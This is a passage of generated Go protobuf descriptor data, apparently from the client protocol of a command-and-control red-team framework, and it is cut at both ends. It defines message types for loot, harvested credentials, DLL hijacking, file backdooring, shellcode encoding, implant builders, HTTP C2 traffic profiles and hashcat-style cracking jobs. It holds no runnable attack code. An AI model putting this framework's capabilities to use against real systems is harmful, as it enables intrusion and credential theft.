\x03(\v2\x19.clientpb.PivotGraphEntryR\bChildren\"C\n" + - "\n" + - "PivotGraph\x125\n" + - "\bChildren\x18\x01 \x03(\v2\x19.clientpb.PivotGraphEntryR\bChildren\"\\\n" + - "\x06Client\x12\x0e\n" + - "\x02ID\x18\x01 \x01(\rR\x02ID\x12\x12\n" + - "\x04Name\x18\x02 \x01(\tR\x04Name\x12.\n" + - "\bOperator\x18\x03 \x01(\v2\x12.clientpb.OperatorR\bOperator\"\xc3\x01\n" + - "\x05Event\x12\x1c\n" + - "\tEventType\x18\x01 \x01(\tR\tEventType\x12+\n" + - "\aSession\x18\x02 \x01(\v2\x11.clientpb.SessionR\aSession\x12\x1f\n" + - "\x03Job\x18\x03 \x01(\v2\r.clientpb.JobR\x03Job\x12(\n" + - "\x06Client\x18\x04 \x01(\v2\x10.clientpb.ClientR\x06Client\x12\x12\n" + - "\x04Data\x18\x05 \x01(\fR\x04Data\x12\x10\n" + - "\x03Err\x18\x06 \x01(\tR\x03Err\"=\n" + - "\tOperators\x120\n" + - "\tOperators\x18\x01 \x03(\v2\x12.clientpb.OperatorR\tOperators\"6\n" + - "\bOperator\x12\x16\n" + - "\x06Online\x18\x01 \x01(\bR\x06Online\x12\x12\n" + - "\x04Name\x18\x02 \x01(\tR\x04Name\"\xde\x01\n" + - "\n" + - "WebContent\x12\x0e\n" + - "\x02ID\x18\x01 \x01(\tR\x02ID\x12\x1c\n" + - "\tWebsiteID\x18\x02 \x01(\tR\tWebsiteID\x12\x12\n" + - "\x04Path\x18\x03 \x01(\tR\x04Path\x12 \n" + - "\vContentType\x18\x04 \x01(\tR\vContentType\x12\x16\n" + - "\x04Size\x18\x05 \x01(\x04B\x020\x01R\x04Size\x12\"\n" + - "\fOriginalFile\x18\x06 \x01(\tR\fOriginalFile\x12\x16\n" + - "\x06Sha256\x18\a \x01(\tR\x06Sha256\x12\x18\n" + - "\aContent\x18\t \x01(\fR\aContent\"\xc1\x01\n" + - "\x11WebsiteAddContent\x12\x12\n" + - "\x04Name\x18\x01 \x01(\tR\x04Name\x12E\n" + - "\bContents\x18\x02 \x03(\v2).clientpb.WebsiteAddContent.ContentsEntryR\bContents\x1aQ\n" + - "\rContentsEntry\x12\x10\n" + - "\x03key\x18\x01 \x01(\tR\x03key\x12*\n" + - "\x05value\x18\x02 \x01(\v2\x14.clientpb.WebContentR\x05value:\x028\x01\"@\n" + - "\x14WebsiteRemoveContent\x12\x12\n" + - "\x04Name\x18\x01 \x01(\tR\x04Name\x12\x14\n" + - "\x05Paths\x18\x02 \x03(\tR\x05Paths\"\xbd\x01\n" + - "\aWebsite\x12\x0e\n" + - "\x02ID\x18\x01 \x01(\tR\x02ID\x12\x12\n" + - "\x04Name\x18\x02 \x01(\tR\x04Name\x12;\n" + - "\bContents\x18\x03 \x03(\v2\x1f.clientpb.Website.ContentsEntryR\bContents\x1aQ\n" + - "\rContentsEntry\x12\x10\n" + - "\x03key\x18\x01 \x01(\tR\x03key\x12*\n" + - "\x05value\x18\x02 \x01(\v2\x14.clientpb.WebContentR\x05value:\x028\x01\"9\n" + - "\bWebsites\x12-\n" + - "\bWebsites\x18\x01 \x03(\v2\x11.clientpb.WebsiteR\bWebsites\"\xa0\x01\n" + - "\x0eWGClientConfig\x12\"\n" + - "\fServerPubKey\x18\x01 \x01(\tR\fServerPubKey\x12*\n" + - "\x10ClientPrivateKey\x18\x02 \x01(\tR\x10ClientPrivateKey\x12\"\n" + - "\fClientPubKey\x18\x03 \x01(\tR\fClientPubKey\x12\x1a\n" + - "\bClientIP\x18\x04 \x01(\tR\bClientIP\"\xba\x01\n" + - "\x04Loot\x12\x0e\n" + - "\x02ID\x18\x01 \x01(\tR\x02ID\x12\x12\n" + - "\x04Name\x18\x02 \x01(\tR\x04Name\x12.\n" + - "\bFileType\x18\x03 \x01(\x0e2\x12.clientpb.FileTypeR\bFileType\x12&\n" + - "\x0eOriginHostUUID\x18\x04 \x01(\tR\x0eOriginHostUUID\x12\x12\n" + - "\x04Size\x18\x05 \x01(\x03R\x04Size\x12\"\n" + - "\x04File\x18\t \x01(\v2\x0e.commonpb.FileR\x04File\"-\n" + - "\aAllLoot\x12\"\n" + - "\x04Loot\x18\x01 \x03(\v2\x0e.clientpb.LootR\x04Loot\"E\n" + - "\x03IOC\x12\x12\n" + - "\x04Path\x18\x01 \x01(\tR\x04Path\x12\x1a\n" + - "\bFileHash\x18\x02 \x01(\tR\bFileHash\x12\x0e\n" + - "\x02ID\x18\x03 \x01(\tR\x02ID\"'\n" + - "\rExtensionData\x12\x16\n" + - "\x06Output\x18\x01 \x01(\tR\x06Output\"\xef\x02\n" + - "\x04Host\x12\x0e\n" + - "\x02ID\x18\x01 \x01(\tR\x02ID\x12\x1a\n" + - "\bHostname\x18\x02 \x01(\tR\bHostname\x12\x1a\n" + - "\bHostUUID\x18\x03 \x01(\tR\bHostUUID\x12\x1c\n" + - "\tOSVersion\x18\x04 \x01(\tR\tOSVersion\x12!\n" + - "\x04IOCs\x18\x05 \x03(\v2\r.clientpb.IOCR\x04IOCs\x12G\n" + - "\rExtensionData\x18\x06 \x03(\v2!.clientpb.Host.ExtensionDataEntryR\rExtensionData\x12\x16\n" + - "\x06Locale\x18\a \x01(\tR\x06Locale\x12\"\n" + - "\fFirstContact\x18\b \x01(\x03R\fFirstContact\x1aY\n" + - "\x12ExtensionDataEntry\x12\x10\n" + - "\x03key\x18\x01 \x01(\tR\x03key\x12-\n" + - "\x05value\x18\x02 \x01(\v2\x17.clientpb.ExtensionDataR\x05value:\x028\x01\"0\n" + - "\bAllHosts\x12$\n" + - "\x05Hosts\x18\x01 \x03(\v2\x0e.clientpb.HostR\x05Hosts\"\x87\x02\n" + - "\fDllHijackReq\x12*\n" + - "\x10ReferenceDLLPath\x18\x01 \x01(\tR\x10ReferenceDLLPath\x12&\n" + - "\x0eTargetLocation\x18\x02 \x01(\tR\x0eTargetLocation\x12\"\n" + - "\fReferenceDLL\x18\x03 \x01(\fR\fReferenceDLL\x12\x1c\n" + - "\tTargetDLL\x18\x04 \x01(\fR\tTargetDLL\x12 \n" + - "\vProfileName\x18\x05 \x01(\tR\vProfileName\x12\x12\n" + - "\x04Name\x18\x06 \x01(\tR\x04Name\x12+\n" + - "\aRequest\x18\t \x01(\v2\x11.commonpb.RequestR\aRequest\";\n" + - "\tDllHijack\x12.\n" + - "\bResponse\x18\t \x01(\v2\x12.commonpb.ResponseR\bResponse\"\x8c\x01\n" + - "\vBackdoorReq\x12\x1a\n" + - "\bFilePath\x18\x01 \x01(\tR\bFilePath\x12 \n" + - "\vProfileName\x18\x02 \x01(\tR\vProfileName\x12\x12\n" + - "\x04Name\x18\x03 \x01(\tR\x04Name\x12+\n" + - "\aRequest\x18\t \x01(\v2\x11.commonpb.RequestR\aRequest\":\n" + - "\bBackdoor\x12.\n" + - "\bResponse\x18\t \x01(\v2\x12.commonpb.ResponseR\bResponse\"\xf1\x01\n" + - "\x12ShellcodeEncodeReq\x124\n" + - "\aEncoder\x18\x01 \x01(\x0e2\x1a.clientpb.ShellcodeEncoderR\aEncoder\x12\"\n" + - "\fArchitecture\x18\x02 \x01(\tR\fArchitecture\x12\x1e\n" + - "\n" + - "Iterations\x18\x03 \x01(\rR\n" + - "Iterations\x12\x1a\n" + - "\bBadChars\x18\x04 \x01(\fR\bBadChars\x12\x12\n" + - "\x04Data\x18\b \x01(\fR\x04Data\x12+\n" + - "\aRequest\x18\t \x01(\v2\x11.commonpb.RequestR\aRequestJ\x04\b\x05\x10\x06\"U\n" + - "\x0fShellcodeEncode\x12\x12\n" + - "\x04Data\x18\b \x01(\fR\x04Data\x12.\n" + - "\bResponse\x18\t \x01(\v2\x12.commonpb.ResponseR\bResponse\"\xd9\x02\n" + - "\x17ShellcodeEncoderArchMap\x12K\n" + - "\bEncoders\x18\x01 \x03(\v2/.clientpb.ShellcodeEncoderArchMap.EncodersEntryR\bEncoders\x12W\n" + - "\fDescriptions\x18\x02 \x03(\v23.clientpb.ShellcodeEncoderArchMap.DescriptionsEntryR\fDescriptions\x1aW\n" + - "\rEncodersEntry\x12\x10\n" + - "\x03key\x18\x01 \x01(\tR\x03key\x120\n" + - "\x05value\x18\x02 \x01(\x0e2\x1a.clientpb.ShellcodeEncoderR\x05value:\x028\x01\x1a?\n" + - "\x11DescriptionsEntry\x12\x10\n" + - "\x03key\x18\x01 \x01(\tR\x03key\x12\x14\n" + - "\x05value\x18\x02 \x01(\tR\x05value:\x028\x01\"\xbe\x01\n" + - "\x13ShellcodeEncoderMap\x12G\n" + - "\bEncoders\x18\x01 \x03(\v2+.clientpb.ShellcodeEncoderMap.EncodersEntryR\bEncoders\x1a^\n" + - "\rEncodersEntry\x12\x10\n" + - "\x03key\x18\x01 \x01(\tR\x03key\x127\n" + - "\x05value\x18\x02 \x01(\v2!.clientpb.ShellcodeEncoderArchMapR\x05value:\x028\x01\"|\n" + - "\x13ExternalGenerateReq\x12/\n" + - "\x06Config\x18\x01 \x01(\v2\x17.clientpb.ImplantConfigR\x06Config\x12 \n" + - "\vBuilderName\x18\x02 \x01(\tR\vBuilderName\x12\x12\n" + - "\x04Name\x18\x03 \x01(\tR\x04Name\"9\n" + - "\bBuilders\x12-\n" + - "\bBuilders\x18\x01 \x03(\v2\x11.clientpb.BuilderR\bBuilders\"\x80\x02\n" + - "\aBuilder\x12\x12\n" + - "\x04Name\x18\x01 \x01(\tR\x04Name\x12\"\n" + - "\fOperatorName\x18\x02 \x01(\tR\fOperatorName\x12\x12\n" + - "\x04GOOS\x18\x03 \x01(\tR\x04GOOS\x12\x16\n" + - "\x06GOARCH\x18\x04 \x01(\tR\x06GOARCH\x12\x1c\n" + - "\tTemplates\x18\x05 \x03(\tR\tTemplates\x122\n" + - "\aTargets\x18\x06 \x03(\v2\x18.clientpb.CompilerTargetR\aTargets\x12?\n" + - "\x0eCrossCompilers\x18\a \x03(\v2\x17.clientpb.CrossCompilerR\x0eCrossCompilers\"A\n" + - "\rHTTPC2Configs\x120\n" + - "\aconfigs\x18\x01 \x03(\v2\x16.clientpb.HTTPC2ConfigR\aconfigs\"\"\n" + - "\fC2ProfileReq\x12\x12\n" + - "\x04Name\x18\x01 \x01(\tR\x04Name\"c\n" + - "\x0fHTTPC2ConfigReq\x12\x1c\n" + - "\toverwrite\x18\x01 \x01(\bR\toverwrite\x122\n" + - "\bC2Config\x18\x02 \x01(\v2\x16.clientpb.HTTPC2ConfigR\bC2Config\"\xd3\x01\n" + - "\fHTTPC2Config\x12\x0e\n" + - "\x02ID\x18\x01 \x01(\tR\x02ID\x12\x18\n" + - "\aCreated\x18\x02 \x01(\x03R\aCreated\x12\x12\n" + - "\x04Name\x18\x03 \x01(\tR\x04Name\x12@\n" + - "\fServerConfig\x18\x04 \x01(\v2\x1c.clientpb.HTTPC2ServerConfigR\fServerConfig\x12C\n" + - "\rImplantConfig\x18\x05 \x01(\v2\x1d.clientpb.HTTPC2ImplantConfigR\rImplantConfig\"\xbc\x01\n" + - "\x12HTTPC2ServerConfig\x12\x0e\n" + - "\x02ID\x18\x01 \x01(\tR\x02ID\x122\n" + - "\x14RandomVersionHeaders\x18\x02 \x01(\bR\x14RandomVersionHeaders\x120\n" + - "\aHeaders\x18\x03 \x03(\v2\x16.clientpb.HTTPC2HeaderR\aHeaders\x120\n" + - "\aCookies\x18\x04 \x03(\v2\x16.clientpb.HTTPC2CookieR\aCookies\"\xbc\x05\n" + - "\x13HTTPC2ImplantConfig\x12\x0e\n" + - "\x02ID\x18\x01 \x01(\tR\x02ID\x12\x1c\n" + - "\tUserAgent\x18\x02 \x01(\tR\tUserAgent\x12,\n" + - "\x11ChromeBaseVersion\x18\x03 \x01(\x05R\x11ChromeBaseVersion\x12\"\n" + - "\fMacOSVersion\x18\x04 \x01(\tR\fMacOSVersion\x12.\n" + - "\x12NonceQueryArgChars\x18\x05 \x01(\tR\x12NonceQueryArgChars\x12L\n" + - "\x12ExtraURLParameters\x18\x06 \x03(\v2\x1c.clientpb.HTTPC2URLParameterR\x12ExtraURLParameters\x120\n" + - "\aHeaders\x18\a \x03(\v2\x16.clientpb.HTTPC2HeaderR\aHeaders\x12\x1e\n" + - "\n" + - "MaxFileGen\x18\b \x01(\x05R\n" + - "MaxFileGen\x12\x1e\n" + - "\n" + - "MinFileGen\x18\t \x01(\x05R\n" + - "MinFileGen\x12\x1e\n" + - "\n" + - "MaxPathGen\x18\n" + - " \x01(\x05R\n" + - "MaxPathGen\x12\x1e\n" + - "\n" + - "MinPathGen\x18\v \x01(\x05R\n" + - "MinPathGen\x12$\n" + - "\rMaxPathLength\x18\f \x01(\x05R\rMaxPathLength\x12$\n" + - "\rMinPathLength\x18\r \x01(\x05R\rMinPathLength\x12\x1e\n" + - "\n" + - "extensions\x18\x0e \x03(\tR\n" + - "extensions\x12?\n" + - "\fPathSegments\x18\x11 \x03(\v2\x1b.clientpb.HTTPC2PathSegmentR\fPathSegments\x12*\n" + - "\x10NonceQueryLength\x18\x12 \x01(\x05R\x10NonceQueryLength\x12\x1c\n" + - "\tNonceMode\x18\x13 \x01(\tR\tNonceMode\"2\n" + - "\fHTTPC2Cookie\x12\x0e\n" + - "\x02ID\x18\x01 \x01(\tR\x02ID\x12\x12\n" + - "\x04Name\x18\x02 \x01(\tR\x04Name\"\x82\x01\n" + - "\fHTTPC2Header\x12\x0e\n" + - "\x02ID\x18\x01 \x01(\tR\x02ID\x12\x16\n" + - "\x06Method\x18\x02 \x01(\tR\x06Method\x12\x12\n" + - "\x04Name\x18\x03 \x01(\tR\x04Name\x12\x14\n" + - "\x05Value\x18\x04 \x01(\tR\x05Value\x12 \n" + - "\vProbability\x18\x05 \x01(\x05R\vProbability\"\x88\x01\n" + - "\x12HTTPC2URLParameter\x12\x0e\n" + - "\x02ID\x18\x01 \x01(\tR\x02ID\x12\x16\n" + - "\x06Method\x18\x02 \x01(\tR\x06Method\x12\x12\n" + - "\x04Name\x18\x03 \x01(\tR\x04Name\x12\x14\n" + - "\x05Value\x18\x04 \x01(\tR\x05Value\x12 \n" + - "\vProbability\x18\x05 \x01(\x05R\vProbability\"Q\n" + - "\x11HTTPC2PathSegment\x12\x0e\n" + - "\x02ID\x18\x01 \x01(\tR\x02ID\x12\x16\n" + - "\x06IsFile\x18\x02 \x01(\bR\x06IsFile\x12\x14\n" + - "\x05Value\x18\x03 \x01(\tR\x05Value\"\x80\x02\n" + - "\n" + - "Credential\x12\x0e\n" + - "\x02ID\x18\x01 \x01(\tR\x02ID\x12\x1a\n" + - "\bUsername\x18\x02 \x01(\tR\bUsername\x12\x1c\n" + - "\tPlaintext\x18\x03 \x01(\tR\tPlaintext\x12\x12\n" + - "\x04Hash\x18\x04 \x01(\tR\x04Hash\x12.\n" + - "\bHashType\x18\x05 \x01(\x0e2\x12.clientpb.HashTypeR\bHashType\x12\x1c\n" + - "\tIsCracked\x18\x06 \x01(\bR\tIsCracked\x12&\n" + - "\x0eOriginHostUUID\x18\a \x01(\tR\x0eOriginHostUUID\x12\x1e\n" + - "\n" + - "Collection\x18\b \x01(\tR\n" + - "Collection\"E\n" + - "\vCredentials\x126\n" + - "\vCredentials\x18\x01 \x03(\v2\x14.clientpb.CredentialR\vCredentials\"M\n" + - "\rCrackstations\x12<\n" + - "\rCrackstations\x18\x01 \x03(\v2\x16.clientpb.CrackstationR\rCrackstations\"\xed\x01\n" + - "\x12CrackstationStatus\x12\x12\n" + - "\x04Name\x18\x01 \x01(\tR\x04Name\x12\x1a\n" + - "\bHostUUID\x18\x02 \x01(\tR\bHostUUID\x12&\n" + - "\x05State\x18\x03 \x01(\x0e2\x10.clientpb.StatesR\x05State\x12,\n" + - "\x11CurrentCrackJobID\x18\x04 \x01(\tR\x11CurrentCrackJobID\x12\x1c\n" + - "\tIsSyncing\x18\x05 \x01(\bR\tIsSyncing\x123\n" + - "\aSyncing\x18\x06 \x01(\v2\x19.clientpb.CrackSyncStatusR\aSyncing\"\xa9\x01\n" + - "\x0fCrackSyncStatus\x12\x14\n" + - "\x05Speed\x18\x01 \x01(\x02R\x05Speed\x12C\n" + - "\bProgress\x18\x02 \x03(\v2'.clientpb.CrackSyncStatus.ProgressEntryR\bProgress\x1a;\n" + - "\rProgressEntry\x12\x10\n" + - "\x03key\x18\x01 \x01(\tR\x03key\x12\x14\n" + - "\x05value\x18\x02 \x01(\x02R\x05value:\x028\x01\"\xc9\x01\n" + - "\x0eCrackBenchmark\x12\x12\n" + - "\x04Name\x18\x01 \x01(\tR\x04Name\x12\x1a\n" + - "\bHostUUID\x18\x02 \x01(\tR\bHostUUID\x12H\n" + - "\n" + - "Benchmarks\x18\x03 \x03(\v2(.clientpb.CrackBenchmark.BenchmarksEntryR\n" + - "Benchmarks\x1a=\n" + - "\x0fBenchmarksEntry\x12\x10\n" + - "\x03key\x18\x01 \x01(\x05R\x03key\x12\x14\n" + - "\x05value\x18\x02 \x01(\x04R\x05value:\x028\x01\"\xd9\x01\n" + - "\tCrackTask\x12\x0e\n" + - "\x02ID\x18\x01 \x01(\tR\x02ID\x12\x1a\n" + - "\bHostUUID\x18\x02 \x01(\tR\bHostUUID\x12\x1c\n" + - "\tCreatedAt\x18\x03 \x01(\x03R\tCreatedAt\x12\x1c\n" + - "\tStartedAt\x18\x04 \x01(\x03R\tStartedAt\x12 \n" + - "\vCompletedAt\x18\x05 \x01(\x03R\vCompletedAt\x12\x10\n" + - "\x03Err\x18\a \x01(\tR\x03Err\x120\n" + - "\aCommand\x18\t \x01(\v2\x16.clientpb.CrackCommandR\aCommand\"\xfd\x03\n" + - "\fCrackstation\x12\x0e\n" + - "\x02ID\x18\x01 \x01(\tR\x02ID\x12\x12\n" + - "\x04Name\x18\x02 \x01(\tR\x04Name\x12\"\n" + - "\fOperatorName\x18\x03 \x01(\tR\fOperatorName\x12\x12\n" + - "\x04GOOS\x18\x04 \x01(\tR\x04GOOS\x12\x16\n" + - "\x06GOARCH\x18\x05 \x01(\tR\x06GOARCH\x12&\n" + - "\x0eHashcatVersion\x18\x06 \x01(\tR\x0eHashcatVersion\x12\x1a\n" + - "\bHostUUID\x18\a \x01(\tR\bHostUUID\x12\x18\n" + - "\aVersion\x18\b \x01(\tR\aVersion\x12F\n" + - "\n" + - "Benchmarks\x18\t \x03(\v2&.clientpb.Crackstation.BenchmarksEntryR\n" + - "Benchmarks\x12-\n" + - "\x04CUDA\x18d \x03(\v2\x19.clientpb.CUDABackendInfoR\x04CUDA\x120\n" + - "\x05Metal\x18e \x03(\v2\x1a.clientpb.MetalBackendInfoR\x05Metal\x123\n" + - "\x06OpenCL\x18f \x03(\v2\x1b.clientpb.OpenCLBackendInfoR\x06OpenCL\x1a=\n" + - "\x0fBenchmarksEntry\x12\x10\n" + - "\x03key\x18\x01 \x01(\x05R\x03key\x12\x14\n" + - "\x05value\x18\x02 \x01(\x04R\x05value:\x028\x01\"\xa1\x02\n" + - "\x0fCUDABackendInfo\x12\x12\n" + - "\x04Type\x18\x01 \x01(\tR\x04Type\x12\x1a\n" + - "\bVendorID\x18\x02 \x01(\x05R\bVendorID\x12\x16\n" + - "\x06Vendor\x18\x03 \x01(\tR\x06Vendor\x12\x12\n" + - "\x04Name\x18\x04 \x01(\tR\x04Name\x12\x18\n" + - "\aVersion\x18\x05 \x01(\tR\aVersion\x12\x1e\n" + - "\n" + - "Processors\x18\x06 \x01(\x05R\n" + - "Processors\x12\x14\n" + - "\x05Clock\x18\a \x01(\x05R\x05Clock\x12 \n" + - "\vMemoryTotal\x18\b \x01(\tR\vMemoryTotal\x12\x1e\n" + - "\n" + - "MemoryFree\x18\t \x01(\tR\n" + - "MemoryFree\x12 \n" + - "\vCUDAVersion\x18\n" + - " \x01(\tR\vCUDAVersion\"\xd9\x02\n" + - "\x11OpenCLBackendInfo\x12\x12\n" + - "\x04Type\x18\x01 \x01(\tR\x04Type\x12\x1a\n" + - "\bVendorID\x18\x02 \x01(\x05R\bVendorID\x12\x16\n" + - "\x06Vendor\x18\x03 \x01(\tR\x06Vendor\x12\x12\n" + - "\x04Name\x18\x04 \x01(\tR\x04Name\x12\x18\n" + - "\aVersion\x18\x05 \x01(\tR\aVersion\x12\x1e\n" + - "\n" + - "Processors\x18\x06 \x01(\x05R\n" + - "Processors\x12\x14\n" + - "\x05Clock\x18\a \x01(\x05R\x05Clock\x12 \n" + - "\vMemoryTotal\x18\b \x01(\tR\vMemoryTotal\x12\x1e\n" + - "\n" + - "MemoryFree\x18\t \x01(\tR\n" + - "MemoryFree\x12$\n" + - "\rOpenCLVersion\x18\n" + - " \x01(\tR\rOpenCLVersion\x120\n" + - "\x13OpenCLDriverVersion\x18\v \x01(\tR\x13OpenCLDriverVersion\"\xa4\x02\n" + - "\x10MetalBackendInfo\x12\x12\n" + - "\x04Type\x18\x01 \x01(\tR\x04Type\x12\x1a\n" + - "\bVendorID\x18\x02 \x01(\x05R\bVendorID\x12\x16\n" + - "\x06Vendor\x18\x03 \x01(\tR\x06Vendor\x12\x12\n" + - "\x04Name\x18\x04 \x01(\tR\x04Name\x12\x18\n" + - "\aVersion\x18\x05 \x01(\tR\aVersion\x12\x1e\n" + - "\n" + - "Processors\x18\x06 \x01(\x05R\n" + - "Processors\x12\x14\n" + - "\x05Clock\x18\a \x01(\x05R\x05Clock\x12 \n" + - "\vMemoryTotal\x18\b \x01(\tR\vMemoryTotal\x12\x1e\n" + - "\n" + - "MemoryFree\x18\t \x01(\tR\n" + - "MemoryFree\x12\"\n" + - "\fMetalVersion\x18\n" + - " \x01(\tR\fMetalVersion\"\xb9\x1e\n" + - "\fCrackCommand\x129\n" + - "\n" + - "AttackMode\x18\x01 \x01(\x0e2\x19.clientpb.CrackAttackModeR\n" + - "AttackMode\x12.\n" + - "\bHashType\x18\x02 \x01(\x0e2\x12.clientpb.HashTypeR\bHashType\x12\x16\n" + - "\x06Hashes\x18\x03 \x03(\tR\x06Hashes\x12\x14\n" + - "\x05Quiet\x18\x04 \x01(\bR\x05Quiet\x12\x1e\n" + - "\n" + - "HexCharset\x18\x05 \x01(\bR\n" + - "HexCharset\x12\x18\n" + - "\aHexSalt\x18\x06 \x01(\bR\aHexSalt\x12 \n" + - "\vHexWordlist\x18\a \x01(\bR\vHexWordlist\x12\x14\n" + - "\x05Force\x18\b \x01(\bR\x05Force\x126\n" + - "\x16DeprecatedCheckDisable\x18\t \x01(\bR\x16DeprecatedCheckDisable\x12\x16\n" + - "\x06Status\x18\n" + - " \x01(\bR\x06Status\x12\x1e\n" + - "\n" + - "StatusJSON\x18\v \x01(\bR\n" + - "StatusJSON\x12 \n" + - "\vStatusTimer\x18\f \x01(\rR\vStatusTimer\x12,\n" + - "\x11StdinTimeoutAbort\x18\r \x01(\rR\x11StdinTimeoutAbort\x12(\n" + - "\x0fMachineReadable\x18\x0e \x01(\bR\x0fMachineReadable\x12\"\n" + - "\fKeepGuessing\x18\x0f \x01(\bR\fKeepGuessing\x12(\n" + - "\x0fSelfTestDisable\x18\x10 \x01(\bR\x0fSelfTestDisable\x12\x1a\n" + - "\bLoopback\x18\x11 \x01(\bR\bLoopback\x12$\n" + - "\rMarkovHcstat2\x18\x12 \x01(\fR\rMarkovHcstat2\x12$\n" + - "\rMarkovDisable\x18\x13 \x01(\bR\rMarkovDisable\x12$\n" + - "\rMarkovClassic\x18\x14 \x01(\bR\rMarkovClassic\x12$\n" + - "\rMarkovInverse\x18\x15 \x01(\bR\rMarkovInverse\x12(\n" + - "\x0fMarkovThreshold\x18\x16 \x01(\rR\x0fMarkovThreshold\x12\x18\n" + - "\aRuntime\x18\x17 \x01(\rR\aRuntime\x12\x18\n" + - "\aSession\x18\x18 \x01(\tR\aSession\x12\x18\n" + - "\aRestore\x18\x19 \x01(\bR\aRestore\x12&\n" + - "\x0eRestoreDisable\x18\x1a \x01(\bR\x0eRestoreDisable\x12 \n" + - "\vRestoreFile\x18\x1b \x01(\fR\vRestoreFile\x12B\n" + - "\rOutfileFormat\x18\x1d \x03(\x0e2\x1c.clientpb.CrackOutfileFormatR\rOutfileFormat\x124\n" + - "\x15OutfileAutohexDisable\x18\x1e \x01(\bR\x15OutfileAutohexDisable\x12,\n" + - "\x11OutfileCheckTimer\x18\x1f \x01(\rR\x11OutfileCheckTimer\x126\n" + - "\x16WordlistAutohexDisable\x18 \x01(\bR\x16WordlistAutohexDisable\x12\x1c\n" + - "\tSeparator\x18! \x01(\tR\tSeparator\x12\x16\n" + - "\x06Stdout\x18\" \x01(\bR\x06Stdout\x12\x12\n" + - "\x04Show\x18# \x01(\bR\x04Show\x12\x12\n" + - "\x04Left\x18$ \x01(\bR\x04Left\x12\x1a\n" + - "\bUsername\x18% \x01(\bR\bUsername\x12\x16\n" + - "\x06Remove\x18& \x01(\bR\x06Remove\x12 \n" + - "\vRemoveTimer\x18' \x01(\rR\vRemoveTimer\x12&\n" + - "\x0ePotfileDisable\x18( \x01(\bR\x0ePotfileDisable\x12\x18\n" + - "\aPotfile\x18) \x01(\fR\aPotfile\x12;\n" + - "\fEncodingFrom\x18* \x01(\x0e2\x17.clientpb.CrackEncodingR\fEncodingFrom\x127\n" + - "\n" + - "EncodingTo\x18+ \x01(\x0e2\x17.clientpb.CrackEncodingR\n" + - "EncodingTo\x12\x1c\n" + - "\tDebugMode\x18, \x01(\rR\tDebugMode\x12&\n" + - "\x0eLogfileDisable\x180 \x01(\bR\x0eLogfileDisable\x12,\n" + - "\x11HccapxMessagePair\x181 \x01(\rR\x11HccapxMessagePair\x124\n" + - "\x15NonceErrorCorrections\x182 \x01(\rR\x15NonceErrorCorrections\x124\n" + - "\x15KeyboardLayoutMapping\x183 \x01(\fR\x15KeyboardLayoutMapping\x12\x1c\n" + - "\tBenchmark\x188 \x01(\bR\tBenchmark\x12\"\n" + - "\fBenchmarkAll\x189 \x01(\bR\fBenchmarkAll\x12\x1c\n" + - "\tSpeedOnly\x18: \x01(\bR\tSpeedOnly\x12\"\n" + - "\fProgressOnly\x18; \x01(\bR\fProgressOnly\x12 \n" + - "\vSegmentSize\x18< \x01(\rR\vSegmentSize\x12\x1c\n" + - "\tBitmapMin\x18= \x01(\rR\tBitmapMin\x12\x1c\n" + - "\tBitmapMax\x18> \x01(\rR\tBitmapMax\x12 \n" + - "\vCPUAffinity\x18? \x03(\rR\vCPUAffinity\x12 \n" + - "\vHookThreads\x18@ \x01(\rR\vHookThreads\x12\x1a\n" + - "\bHashInfo\x18A \x01(\bR\bHashInfo\x12,\n" + - "\x11BackendIgnoreCUDA\x18C \x01(\bR\x11BackendIgnoreCUDA\x12*\n" + - "\x10BackendIgnoreHip\x18D \x01(\bR\x10BackendIgnoreHip\x12.\n" + - "\x12BackendIgnoreMetal\x18E \x01(\bR\x12BackendIgnoreMetal\x120\n" + - "\x13BackendIgnoreOpenCL\x18F \x01(\bR\x13BackendIgnoreOpenCL\x12 \n" + - "\vBackendInfo\x18G \x01(\bR\vBackendInfo\x12&\n" + - "\x0eBackendDevices\x18H \x03(\rR\x0eBackendDevices\x12,\n" + - "\x11OpenCLDeviceTypes\x18I \x03(\rR\x11OpenCLDeviceTypes\x124\n" + - "\x15OptimizedKernelEnable\x18J \x01(\bR\x15OptimizedKernelEnable\x124\n" + - "\x15MultiplyAccelDisabled\x18K \x01(\bR\x15MultiplyAccelDisabled\x12H\n" + - "\x0fWorkloadProfile\x18L \x01(\x0e2\x1e.clientpb.CrackWorkloadProfileR\x0fWorkloadProfile\x12 \n" + - "\vKernelAccel\x18M \x01(\rR\vKernelAccel\x12 \n" + - "\vKernelLoops\x18N \x01(\rR\vKernelLoops\x12$\n" + - "\rKernelThreads\x18O \x01(\rR\rKernelThreads\x12.\n" + - "\x12BackendVectorWidth\x18P \x01(\rR\x12BackendVectorWidth\x12\x1a\n" + - "\bSpinDamp\x18Q \x01(\rR\bSpinDamp\x12\"\n" + - "\fHwmonDisable\x18R \x01(\bR\fHwmonDisable\x12&\n" + - "\x0eHwmonTempAbort\x18S \x01(\rR\x0eHwmonTempAbort\x12\x1e\n" + - "\n" + - "ScryptTMTO\x18T \x01(\rR\n" + - "ScryptTMTO\x12\x12\n" + - "\x04Skip\x18U \x01(\x04R\x04Skip\x12\x14\n" + - "\x05Limit\x18V \x01(\x04R\x05Limit\x12\x1a\n" + - "\bKeyspace\x18W \x01(\bR\bKeyspace\x12\x1c\n" + - "\tRulesFile\x18Z \x01(\fR\tRulesFile\x12$\n" + - "\rGenerateRules\x18[ \x01(\rR\rGenerateRules\x120\n" + - "\x13GenerateRulesFunMin\x18\\ \x01(\rR\x13GenerateRulesFunMin\x120\n" + - "\x13GenerateRulesFunMax\x18] \x01(\rR\x13GenerateRulesFunMax\x122\n" + - "\x14GenerateRulesFuncSel\x18^ \x01(\tR\x14GenerateRulesFuncSel\x12,\n" + - "\x11GenerateRulesSeed\x18_ \x01(\x05R\x11GenerateRulesSeed\x12&\n" + - "\x0eCustomCharset1\x18` \x01(\tR\x0eCustomCharset1\x12&\n" + - "\x0eCustomCharset2\x18a \x01(\tR\x0eCustomCharset2\x12&\n" + - "\x0eCustomCharset3\x18b \x01(\tR\x0eCustomCharset3\x12&\n" + - "\x0eCustomCharset4\x18c \x01(\tR\x0eCustomCharset4\x12\x1a\n" + - "\bIdentify\x18d \x01(\tR\bIdentify\x12\x1c\n" + - "\tIncrement\x18e \x01(\bR\tIncrement\x12\"\n" + - "\fIncrementMin\x18f \x01(\rR\fIncrementMin\x12\"\n" + - "\fIncrementMax\x18g \x01(\rR\fIncrementMax\x12&\n" + - "\x0eSlowCandidates\x18h \x01(\bR\x0eSlowCandidates\x12 \n" + - "\vBrainServer\x18i \x01(\bR\vBrainServer\x12*\n" + - "\x10BrainServerTimer\x18j 